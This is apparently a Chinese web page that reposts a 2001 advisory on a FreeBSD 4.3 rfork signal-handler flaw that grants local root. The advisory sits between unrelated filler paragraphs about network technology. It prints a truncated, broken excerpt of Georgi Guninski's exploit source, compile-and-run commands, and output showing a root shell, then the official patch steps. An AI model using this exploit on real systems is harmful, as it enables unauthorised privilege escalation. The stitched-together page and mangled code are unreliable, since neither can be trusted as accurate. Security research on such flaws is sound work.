发布时间:2024-01-06 来源:win7旗舰版 浏览量:
网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。 发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。 利用此漏洞,本地攻击者能取得 root 权限。 以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负 -------------vvfreebsd.c---------------------- /} } printf("vvfreebsd. Written by Georgi Guninski\n"); printf("shall jump to %x\n",vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf("child=%d\n",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) kill(pid,MYSIG); printf("done\n"); while(42); } ............................... ......................... ............. 受影响版本: FreeBSD 4.3 4.2 4.1 4.0 早期版本也许受影响 解决方案: 尚无 ****** 2001-07-14 add by NetDemon(netdemon@20cn.net) ****** 测试程序使用方法: netdemon%gcc -o vvbsd vvbsd.c netdemon%cp /bin/sh /tmp netdemon%./vvbsd vvfreebsd. Written by Georgi Guninski shall jump to bfbffe71 child=61056 login: login: # done # FreeBSD以此作出补丁 方法: # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc # cd /usr/src/sys/kern # patch -p < /path/to/patch 网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。 |
发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal ha